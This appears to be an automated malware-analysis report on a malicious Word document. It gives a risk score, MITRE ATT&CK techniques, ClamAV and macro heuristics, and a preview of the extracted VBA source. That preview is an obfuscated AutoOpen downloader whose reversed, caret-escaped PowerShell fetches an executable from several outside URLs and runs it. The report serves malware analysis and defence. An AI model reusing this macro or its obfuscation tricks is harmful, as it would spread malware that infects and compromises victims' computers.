MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the AutoOpen macro and the ClamAV detection suggest it's designed to download and execute a second-stage payload. The obfuscated nature of the script and lack of clear indicators prevent a higher confidence score or family attribution.
Heuristics 5
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ClamAV: Doc.Malware.Generic-6687740-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6687740-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5118 bytes |
SHA-256: a478abc4592bc56e3dbf540c5d37afd00bfb7e1cd8f85655e39427080fed7dc4 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OkVlhQFqzKskz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const pRsVFWlF = 0
Dim JDjawZ(4)
JDjawZ(0) = Left(lLzRTvTJ, 277)
JDjawZ(1) = Left(lLzRTvTJ, 277)
JDjawZ(2) = Left(lLzRTvTJ, 277)
JDjawZ(3) = Mid(NcQCwcS, 322, 870)
Dim WzBjbI(3)
WzBjbI(0) = Right(cPtfRz, 591)
WzBjbI(1) = Left(lLzRTvTJ, 277)
WzBjbI(2) = MidB(PLmGaNfW, 353, 844)
Dim mdaHii(3)
mdaHii(0) = Left(lLzRTvTJ, 277)
mdaHii(1) = Mid(NcQCwcS, 322, 870)
mdaHii(2) = Right(cPtfRz, 591)
Dim kdjvzK(2)
kdjvzK(0) = Left(lLzRTvTJ, 277)
kdjvzK(1) = Right(cPtfRz, 591)
Dim OhWfv(3)
OhWfv(0) = Left(lLzRTvTJ, 277)
OhWfv(1) = Mid(NcQCwcS, 322, 870)
OhWfv(2) = Mid(NcQCwcS, 322, 870)
Shell@ kMPhW + ZUjQOrtsonbaBq + JiOwdEWnRV, CInt(pRsVFWlF)
Dim MjJMX(5)
MjJMX(0) = Right(cPtfRz, 591)
MjJMX(1) = Right(cPtfRz, 591)
MjJMX(2) = MidB(PLmGaNfW, 353, 844)
MjJMX(3) = Right(cPtfRz, 591)
MjJMX(4) = Left(lLzRTvTJ, 277)
Dim vGhsk(2)
vGhsk(0) = Left(lLzRTvTJ, 277)
vGhsk(1) = MidB(PLmGaNfW, 353, 844)
Dim qUudwf(3)
qUudwf(0) = Right(cPtfRz, 591)
qUudwf(1) = Mid(NcQCwcS, 322, 870)
qUudwf(2) = Mid(NcQCwcS, 322, 870)
End Sub
Attribute VB_Name = "WQujRVwwzsiSCT"
Function kMPhW()
Dim JUioOY(4)
JUioOY(0) = Left(lLzRTvTJ, 277)
JUioOY(1) = Mid(NcQCwcS, 322, 870)
JUioOY(2) = Right(cPtfRz, 591)
JUioOY(3) = MidB(PLmGaNfW, 353, 844)
Dim qLTflQ(2)
qLTflQ(0) = Right(cPtfRz, 591)
qLTflQ(1) = Mid(NcQCwcS, 322, 870)
Dim jRWJV(2)
jRWJV(0) = MidB(PLmGaNfW, 353, 844)
jRWJV(1) = Mid(NcQCwcS, 322, 870)
Dim GimiYJ(3)
GimiYJ(0) = MidB(PLmGaNfW, 353, 844)
GimiYJ(1) = Left(lLzRTvTJ, 277)
GimiYJ(2) = Right(cPtfRz, 591)
jKDrjwGYzX = Format(Chr(4 + 13 + 17 + 11 + 54)) + "md /V^:^O" + "/" + Format(Chr(3 + 9 + 11 + 8 + 36)) + Format(Chr(1 + 4 + 5 + 3 + 21)) + "^s^et ^s^W=^ ^ ^ ^ ^ ^" + " ^ ^}^" + "}^{h" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "t^" + "a" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "}^;k^a^er^b;^Oi^L^$ m^e" + "^tI^-^e^k^ov" + "nI;)^O^i^L$ ,^OHV$(^el^i"
Dim LVmznJ(4)
LVmznJ(0) = Right(cPtfRz, 591)
LVmznJ(1) = MidB(PLmGaNfW, 353, 844)
LVmznJ(2) = MidB(PLmGaNfW, 353, 844)
LVmznJ(3) = MidB(PLmGaNfW, 353, 844)
Dim Wpfzuf(3)
Wpfzuf(0) = Left(lLzRTvTJ, 277)
Wpfzuf(1) = Mid(NcQCwcS, 322, 870)
Wpfzuf(2) = Left(lLzRTvTJ, 277)
XSzvfEYWz = "^F^dao^lnw^oD^" + ".Rdp^${yr^t^{" + ")r^wE$ n^i^ OHV$(h" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^a^ero^f;" + "^'^exe.'^+EEM$+'" + "\'+" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^i^l" + "^bup:vn^e$^=" + "^O^iL$"
Dim MzJGLR(4)
MzJGLR(0) = Left(lLzRTvTJ, 277)
MzJGLR(1) = Mid(NcQCwcS, 322, 870)
MzJGLR(2) = Right(cPtfRz, 591)
MzJGLR(3) = Left(lLzRTvTJ, 277)
Dim njYHhQ(2)
njYHhQ(0) = Right(cPtfRz, 591)
njYHhQ(1) = Mid(NcQCwcS, 322, 870)
nqpzSnKp = ";'76^9^'^ ^= ^EEM^$^;" + ")'@^'(^t^i^l^p^S^.'^Lv^J" + "O8v^6^B/m^o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^.^m^ae^bnr" + "o^p//^:^p^" + "tth@^T^B^L^" + "mOr8^d/m^o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + ".20bef^" + "2^0//^:^pt^th@g^aDys^"
Dim PbDnLD(4)
PbDnLD(0) = Mid(NcQCwcS, 322, 870)
PbDnLD(1) = MidB(PLmGaNfW, 353, 844)
PbDnLD(2) = Right(cPtfRz, 591)
PbDnLD(3) = Mid(NcQCwcS, 322, 870)
CamjGpKZUEG = "jV" + Format(Chr(3 + 9 + 11 + 8 + 36)) + "/^z^k^.tnamada" + "//^:^sp" + "^t^t^h^@" + "^a^5^bq3^k^qx/rb.^m^" + "o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^.ar^u^tet^i^u^qr^aort^a" + "u^q^a//^:^pt^t^h^@Zig^HVBj" + "^T^i5/^m^o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^.^sel" + "asn^g^i^la//:^" + "p^t^th'^=rw^E^$^;tne^il" + Format(Chr(3 + 9 + 11 + 8 + 36)) + "beW.t^eN^ t" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^e^j^" + "bo^-^we" + "n^=Rdp$ "
Dim EcMoub(4)
EcMoub(0) = Mid(NcQCwcS, 322, 870)
EcMoub(1) = Mid(NcQCwcS, 322, 870)
EcMoub(2) = Mid(NcQCwcS, 322, 870)
EcMoub(3) = MidB(PLmGaNfW, 353, 844)
Dim mlVJY(4)
mlVJY(0) = MidB(PLmGaNfW, 353, 844)
mlVJY(1) = Right(cPtfRz, 591)
... (truncated)
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